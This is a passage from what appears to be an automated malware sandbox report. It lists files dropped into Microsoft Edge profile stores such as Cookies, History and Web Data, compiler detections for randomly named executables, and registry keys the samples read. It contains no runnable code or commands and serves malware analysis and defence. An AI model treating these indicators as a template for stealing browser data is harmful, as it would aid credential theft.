Data\Default\GPUCache\data_1]- [targetUID: 00000000-00003748] Dropped file: "2cc93fb6fc93f451_0" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\2cc93fb6fc93f451_0]- [targetUID: 00000000-00003748] Dropped file: "History" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History]- [targetUID: 00000000-00000700] Dropped file: "data_0" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0]- [targetUID: 00000000-00003748] Dropped file: "Web Data" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data]- [targetUID: 00000000-00003748] Dropped file: "Visited Links" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Visited Links]- [targetUID: 00000000-00003748] Dropped file: "f_0004c3" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c3]- [targetUID: 00000000-00004992] Dropped file: "6baff995-439d-459e-8472-955fd69db5ab.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\6baff995-439d-459e-8472-955fd69db5ab.tmp]- [targetUID: 00000000-00003748] Dropped file: "000004.log" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000004.log]- [targetUID: 00000000-00003748] Dropped file: "dce1006f15471e5c_0" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\dce1006f15471e5c_0]- [targetUID: 00000000-00003748] Dropped file: "Cookies" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies]- [targetUID: 00000000-00007348] Dropped file: "Favicons" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Favicons]- [targetUID: 00000000-00003748] Dropped file: "Reporting and NEL" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Reporting and NEL]- [targetUID: 00000000-00004992]74:T4b3,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" was detected as "Microsoft visual C++ 8" "go3wz13.exe" was detected as "Microsoft visual C++ 8" "foto3553.exe" was detected as "Microsoft visual C++ 8" "pNUNUVkvaKFYhDc.exe" was detected as "Microsoft visual C++ 8.0" "4iO097Yk.exe" was detected as "Microsoft visual C++ 8.0" "2Oo2948.exe" was detected as "Microsoft visual C++ 8.0" "sus.exe" was detected as "Microsoft visual C++ 8.0" "3CC98ik.exe" was detected as "Microsoft visual C++ 8.0" "KN5EZ95.exe" was detected as "Microsoft visual C++ 8" "aPXj3QNJzkKIKoxT.dll" was detected as "Borland Delphi 3.0 (???)" "ny1qE70.exe" was detected as "Microsoft visual C++ 8" "1eP24vr0.exe" was detected as "VC8 -> Microsoft Corporation" "91NL8LQzC2Bqri4.exe.bin" was detected as "Microsoft visual C# v7.0 / Basic .NET" "ZtBZcoNCoY6ikF1.exe" was detected as "VC8 -> Microsoft Corporation" "cDLTjqPjMRTDiE7.exe" was detected as "Visual C++ 2008 Release -> Microsoft" "WREQ0KOSK9O5sPY.exe" was detected as "VC8 -> Microsoft Corporation" "5tg3FW0.exe" was detected as "PureBasic 4.x -> Neil Hodgson" "clip64_1_.dll" was detected as "Borland Delphi 3.0 (???)"75:T792,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "go3wz13.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "KN5EZ95.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "ny1qE70.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1eP24vr0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "2Oo2948.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "3CC98ik.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "4iO097Yk.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "5tg3FW0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "91NL8LQzC2Bqri4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "91NL8LQzC2Bqri4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "pNUNUVkvaKFYhDc.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "WREQ0KOSK9O5sPY.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cDLTjqPjMRTDiE7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK")76:T4001,"initAft()